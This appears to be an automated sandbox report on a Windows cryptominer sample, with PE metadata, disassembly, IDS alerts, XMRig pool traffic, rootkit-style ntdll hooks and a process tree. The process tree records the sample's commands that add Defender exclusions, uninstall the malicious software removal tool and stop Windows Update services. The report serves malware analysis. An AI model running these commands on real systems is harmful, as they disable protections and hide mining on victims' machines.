Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x678007E8 [Thu Jan 9 17:31:20 2025 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00009ED5h]
mov dword ptr [eax], 00000001h
call 00007F9D192F275Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00009EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F9D192F2780h
dec eax
cmp edi, eax
je 00007F9D192F277Bh
dec esp
mov esi, dword ptr [0000BAA9h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F9D192F2757h
dec eax
cmp edi, eax
jne 00007F9D192F2739h
dec eax
mov edi, dword ptr [00009E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F9D192F275Eh
mov ecx, 0000001Fh
call 00007F9D192FB464h
jmp 00007F9D192F2779h
cmp dword ptr [edi], 00000000h
je 00007F9D192F275Bh
mov byte ptr [002BED21h], 00000001h
jmp 00007F9D192F276Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00009E7Ah]
dec eax
mov edx, dword ptr [00009E7Bh]
call 00007F9D192FB45Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F9D192F276Bh
dec eax
mov ecx, dword ptr [00009E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc978	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c5000	0x350	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x2c2000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c6000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xcb10	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9066	0x9200	0a4b4175ec481c50c984590193f52f1a	False	0.4883615154109589	data	6.152703474213046	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x20cc	0x2200	d031d7bab38efd70773bc93d35fb58a6	False	0.45128676470588236	data	4.641594651888488	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe000	0x2b3190	0x2b2000	3a7c43391555cab936df087d609d1d01	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x2c2000	0x18c	0x200	71971e4bff0784f885ec5f86f32b6a4a	False	0.521484375	data	3.204851117192452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x2c3000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2c4000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2c5000	0x350	0x400	56e59519fb7d2369bbf7a9e80aa61940	False	0.3642578125	data	2.8188436463026587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c6000	0x78	0x200	6490b02f8b3f1652073b3b9bdd2acfb4	False	0.236328125	data	1.4268248333801306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2c5060	0x2f0	SysEx File - IDP	English	United States	0.449468085106383

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T10:35:51.244025+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.5	49704	141.94.96.71	80	TCP
2025-01-10T10:36:03.317801+0100	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.5	63299	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 10:36:03.329967976 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:03.334904909 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:03.335005045 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:03.335095882 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:03.339915037 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:03.968880892 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:04.009497881 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:06.134874105 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:06.181499958 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:15.144399881 CET	57360	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:36:15.149239063 CET	53	57360	1.1.1.1	192.168.2.5
Jan 10, 2025 10:36:15.149332047 CET	57360	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:36:15.154114008 CET	53	57360	1.1.1.1	192.168.2.5
Jan 10, 2025 10:36:15.616575003 CET	57360	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:36:15.621630907 CET	53	57360	1.1.1.1	192.168.2.5
Jan 10, 2025 10:36:15.621767044 CET	57360	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:36:16.531831980 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:16.712642908 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:18.708017111 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:18.900253057 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:30.317203999 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:30.400213003 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:40.431463003 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:40.509526014 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:36:40.735584021 CET	53943	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:36:40.740444899 CET	53	53943	162.159.36.2	192.168.2.5
Jan 10, 2025 10:36:40.740523100 CET	53943	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:36:40.745385885 CET	53	53943	162.159.36.2	192.168.2.5
Jan 10, 2025 10:36:41.195298910 CET	53943	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:36:41.200393915 CET	53	53943	162.159.36.2	192.168.2.5
Jan 10, 2025 10:36:41.202263117 CET	53943	53	192.168.2.5	162.159.36.2
Jan 10, 2025 10:36:52.456737995 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:36:52.509519100 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:02.785851955 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:02.900156975 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:12.795152903 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:12.915760994 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:22.970514059 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:23.161478043 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:34.164400101 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:34.212661028 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:46.464801073 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:46.603266954 CET	49704	80	192.168.2.5	141.94.96.71
Jan 10, 2025 10:37:57.203650951 CET	80	49704	141.94.96.71	192.168.2.5
Jan 10, 2025 10:37:57.415792942 CET	49704	80	192.168.2.5	141.94.96.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 10:36:03.317800999 CET	63299	53	192.168.2.5	1.1.1.1
Jan 10, 2025 10:36:03.325510979 CET	53	63299	1.1.1.1	192.168.2.5
Jan 10, 2025 10:36:15.143188953 CET	53	60807	1.1.1.1	192.168.2.5
Jan 10, 2025 10:36:40.735182047 CET	53	60017	162.159.36.2	192.168.2.5
Jan 10, 2025 10:36:41.204821110 CET	53	50311	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 10:36:03.317800999 CET	192.168.2.5	1.1.1.1	0xd21e	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 10:36:03.325510979 CET	1.1.1.1	192.168.2.5	0xd21e	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 10:36:03.325510979 CET	1.1.1.1	192.168.2.5	0xd21e	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:36:03.325510979 CET	1.1.1.1	192.168.2.5	0xd21e	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jan 10, 2025 10:36:03.325510979 CET	1.1.1.1	192.168.2.5	0xd21e	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	141.94.96.71	80	4508	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 10:36:03.335095882 CET	596	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 4d 33 39 44 4d 31 44 51 6a 46 4b 55 6e 54 33 74 32 4b 69 48 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46M39DM1DQjFKUnT3t2KiHNU6qQjmRF79J31fSbtBNafUX9B2gAwysjLFADQ5mhqR4M6C8JJRFXwLPxDHapuCrHE3mRBjTw","pass":"Ultima","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/
Jan 10, 2025 10:36:03.968880892 CET	538	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 31 66 63 66 31 61 31 64 2d 33 39 34 31 2d 34 39 66 33 2d 38 37 64 65 2d 62 62 62 33 30 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"1fcf1a1d-3941-49f3-87de-bbb3015b97e5","job":{"blob":"1010fbd383bc06ca3f810fd9c56c49dd4d214ad84ef82765919a0dd8462e68424b6661b8b7282800000000f8b23ac90f692ad6af23855bc9bc4f381b4dd13dd3e975b7c0c
Jan 10, 2025 10:36:06.134874105 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 35 64 34 38 33 62 63 30 36 63 61 33 66 38 31 30 66 64 39 63 35 36 63 34 39 64 64 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101085d483bc06ca3f810fd9c56c49dd4d214ad84ef82765919a0dd8462e68424b6661b8b7282800000000a70ed1613f655caa469dab3eab0129259b1016d4822986761cfecac66485f9aa4f","job_id":"rYU0I1Epjxl6wf6AJmit0FZO1For"
Jan 10, 2025 10:36:16.531831980 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 30 64 34 38 33 62 63 30 36 63 61 33 66 38 31 30 66 64 39 63 35 36 63 34 39 64 64 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101090d483bc06ca3f810fd9c56c49dd4d214ad84ef82765919a0dd8462e68424b6661b8b7282800000000851e70714ac4abc90ff92a2b2d7a6bc4a3742d98fe48d02c458b20dae3bec01353","job_id":"z45UTv8G64d9jx+oJDKJXu9L4Rok"
Jan 10, 2025 10:36:18.708017111 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 32 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101092d483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e0000000064b7f26fefab437e50f0bf5a10a353db4a1ad7c7123cf16712a016a8b34d680702","job_id":"i36L8xtVwSnXGqKS1Ub1rke40PKt"
Jan 10, 2025 10:36:30.317203999 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 65 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10109ed483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e00000000ed300fe08d982387e1dd7b5bd25c9525a7842d3c0f7ae574c492dc4bd8da175607","job_id":"8g8BACOfS20UCQ35l7twN1UcD9jF"
Jan 10, 2025 10:36:40.431463003 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 38 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a8d483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e00000000dfbd38264005f46b28f2dfcbd0b2b4ab1bf4a92738ee54fb51268b4a084d7b070a","job_id":"qzP+wrYvhGPcLWh+CgFhKiT6uY+s"
Jan 10, 2025 10:36:52.456737995 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 34 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010b4d483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e00000000d5f4b8cfeaa6ce94b542e8a5e1ff6d2bf2d70a399a7ba1568144435e2c812a100f","job_id":"5fwJV97zChLtAOHEAgxKsJzhH+V1"
Jan 10, 2025 10:37:02.785851955 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 65 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010bed483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e00000000576db3f2b7768cbcfbf45cab0288667d7e06023264fd060468fb4c31e7b0f39314","job_id":"EfhK+pzlXURDKY4a6LdJi5SakjtD"
Jan 10, 2025 10:37:12.795152903 CET	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 38 64 34 38 33 62 63 30 36 31 65 33 64 30 35 32 64 38 63 37 32 64 36 30 39 38 30 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010c8d483bc061e3d052d8c72d609804675148e567bed958fe8827c5aec4d67c595ba8b4a0e8e00000000242f4815cb40760e45fbacc63cc92c7dd02d6211b4d0c02ea602536153821aa51a","job_id":"xHm1q4gS0BDF66ovz70uv/eQODWX"

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	04:35:53
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\nW2oopMIdg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\nW2oopMIdg.exe"
Imagebase:	0x7ff7eb900000
File size:	2'876'416 bytes
MD5 hash:	990A3F3B1273510F210FB9B541DA219F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:35:53
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:35:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff747680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7bb240000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
